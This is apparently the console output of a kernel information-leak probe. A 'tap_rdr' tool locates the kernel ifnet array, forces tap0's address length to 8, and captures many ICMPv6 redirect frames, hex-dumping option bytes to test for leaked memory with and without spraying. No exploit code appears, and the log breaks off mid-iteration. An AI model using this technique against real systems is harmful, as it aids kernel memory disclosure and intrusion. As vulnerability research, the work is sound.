  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 11: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 bb bb bb bb bb bb
PADINFO iter 11 optlen 16
  option type=4 len=56 at 110
iter 12: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 12: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 87 4b 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 bc bc bc bc bc bc 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 12: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 bc bc bc bc bc bc
PADINFO iter 12 optlen 16
  option type=4 len=56 at 110
iter 13: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 13: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 84 48 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 bd bd bd bd bd bd 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 13: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 bd bd bd bd bd bd
PADINFO iter 13 optlen 16
  option type=4 len=56 at 110
iter 14: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 14: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 81 45 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 be be be be be be 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 14: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 be be be be be be
PADINFO iter 14 optlen 16
  option type=4 len=56 at 110
iter 15: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 15: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 7e 42 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 bf bf bf bf bf bf 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 15: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 bf bf bf bf bf bf
PADINFO iter 15 optlen 16
  option type=4 len=56 at 110
iter 16: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 16: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 ab 6f 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b0 b0 b0 b0 b0 b0 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 16: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b0 b0 b0 b0 b0 b0
PADINFO iter 16 optlen 16
  option type=4 len=56 at 110
iter 17: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 17: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 a8 6c 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b1 b1 b1 b1 b1 b1 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 17: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b1 b1 b1 b1 b1 b1
PADINFO iter 17 optlen 16
  option type=4 len=56 at 110
iter 18: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 18: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 a5 69 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b2 b2 b2 b2 b2 b2 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 18: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b2 b2 b2 b2 b2 b2
PADINFO iter 18 optlen 16
  option type=4 len=56 at 110
iter 19: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 19: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 a2 66 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b3 b3 b3 b3 b3 b3 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 19: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b3 b3 b3 b3 b3 b3
PADINFO iter 19 optlen 16
  option type=4 len=56 at 110
iter 20: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 88 e1 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 20: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 88 e1 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 88 ff fe e1 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 9f 63 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b4 b4 b4 b4 b4 b4 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 20: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b4 b4 b4 b4 b4 b4
PADINFO iter 20 optlen 16
  option type=4 len=56 at 110
SUMMARY: iterations=20 redirects=20 none=0
PROBE_DONE
LEAK_addrlen8_spray_end
LEAK_addrlen8_nospray_start
+ echo LEAK_addrlen8_spray_end
+ echo LEAK_addrlen8_nospray_start
+ ./tap_rdr trigger 10 nospray patch8
net.inet6.ip6.dad_count: 0 -> 0
route: writing to routing socket: No such process
delete net 2001:db8:cafe::/64: not in table
add net 2001:db8:cafe::/64: gateway fe80::42:1%tap0
net.inet6.ip6.forwarding: 1 -> 1
ifnet_array symbol @ 0xffffffff810f07c0
ifnet_array @ 0xfffff8008d5a0d60 count=3
ifnet[0] 0xfffff8008e0ea5c0 vtnet0   type=6(IFT_ETHER(6)) addrlen=6 mtu=1500
ifnet[1] 0xfffff8008e0ead40 lo0      type=24(IFT_LOOP(24)) addrlen=0 mtu=16384
ifnet[2] 0xfffff80117973280 tap0     type=6(IFT_ETHER(6)) addrlen=6 mtu=1500
WROTE tap0 if_addrlen=8 (readback)
tap0: flags=808843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,PROXY> metric 0 mtu 1500
	ether 00:bd:45:e6:02:00
	inet6 fe80::2bd:45ff:fee6:200%tap0 prefixlen 64 scopeid 0x3
	inet6 2001:db8:1::1 prefixlen 64
2001:db8:1::1                   0:bd:45:e6:2:0      tap0 permanent R      
2001:db8:1::2                   2:0:de:ad:be:ef     tap0 permanent R      
fe80::42:1%tap0                 2:0:0:0:0:1         tap0 permanent R      
fe80::2bd:45ff:fee6:200%tap0    0:bd:45:e6:2:0      tap0 permanent R      
2001:db8:1::/64                   link#3                        UC         tap0       
2001:db8:1::1                     00:bd:45:e6:02:00             UHL         lo0       
2001:db8:1::2                     02:00:de:ad:be:ef             UHLS       tap0       
2001:db8:cafe::/64                fe80::42:1%tap0               UGSc       tap0       

--- fe80::42:1%tap0 ping6 statistics ---
1 packets transmitted, 0 packets received, 100.0% packet loss
tap0 mac 00:bd:45:e6:02:00
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
    nr0000: 33 33 ff e6 02 00 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 20 00 01 fe 80 00 00 00 00 00 00 02 bd
    nr0020: 45 ff fe e6 02 00 ff 02 00 00 00 00 00 00 00 00
    nr0030: 00 01 ff e6 02 00 3a 00 01 00 05 02 00 00 83 00
    nr0040: 32 b3 00 00 00 00 ff 02 00 00 00 00 00 00 00 00
    nr0050: 00 01 ff e6 02 00
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
    nr0000: 33 33 3d 3c 7e fb 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 20 00 01 fe 80 00 00 00 00 00 00 02 bd
    nr0020: 45 ff fe e6 02 00 ff 02 00 00 00 00 00 00 00 00
    nr0030: 00 02 3d 3c 7e fb 3a 00 01 00 05 02 00 00 83 00
    nr0040: be 0f 00 00 00 00 ff 02 00 00 00 00 00 00 00 00
    nr0050: 00 02 3d 3c 7e fb
iter 1: non-redirect frame (86 bytes, ethertype 86dd icmp6 type 58) -- draining
    nr0000: 33 33 ff 00 00 01 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 20 00 01 fe 80 00 00 00 00 00 00 02 bd
    nr0020: 45 ff fe e6 02 00 ff 02 00 00 00 00 00 00 00 00
    nr0030: 00 01 ff 00 00 01 3a 00 01 00 05 02 00 00 83 00
    nr0040: 38 7d 00 00 00 00 ff 02 00 00 00 00 00 00 00 00
    nr0050: 00 01 ff 00 00 01
iter 1: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
=== iter 1: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 45 e6 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 45 ff fe e6 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 00 7d 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 00 00 00 00 00 00 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 1: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 00 00 00 00 00 00
PADINFO iter 1 optlen 16
  option type=4 len=56 at 110
iter 2: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 2: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 45 e6 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 45 ff fe e6 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 00 7d 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 00 00 00 00 00 00 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 2: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 00 00 00 00 00 00
PADINFO iter 2 optlen 16
  option type=4 len=56 at 110
iter 3: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 3: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 45 e6 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 45 ff fe e6 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 00 7d 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 00 00 00 00 00 00 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 3: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 00 00 00 00 00 00
PADINFO iter 3 optlen 16
  option type=4 len=56 at 110
iter 4: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 4: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 45 e6 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 45 ff fe e6 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 00 7d 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 00 00 00 00 00 00 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 4: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 00 00 00 00 00 00
PADINFO iter 4 optlen 16
  option type=4 len=56 at 110
iter 5: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 5: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 45 e6 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 45 ff fe e6 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 df 5b 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 5: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5
PADINFO iter 5 optlen 16
  option type=4 len=56 at 110
iter 6: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 6: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 45 e6 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 45 ff fe e6 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 df 5b 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 6: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5
PADINFO iter 6 optlen 16
  option type=4 len=56 at 110
iter 7: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 7: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 45 e6 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 45 ff fe e6 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 df 5b 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 7: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5
PADINFO iter 7 optlen 16
  option type=4 len=56 at 110
iter 8: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 8: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 45 e6 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 45 ff fe e6 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 df 5b 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 8: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5
PADINFO iter 8 optlen 16
  option type=4 len=56 at 110
iter 9: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 9: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 45 e6 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
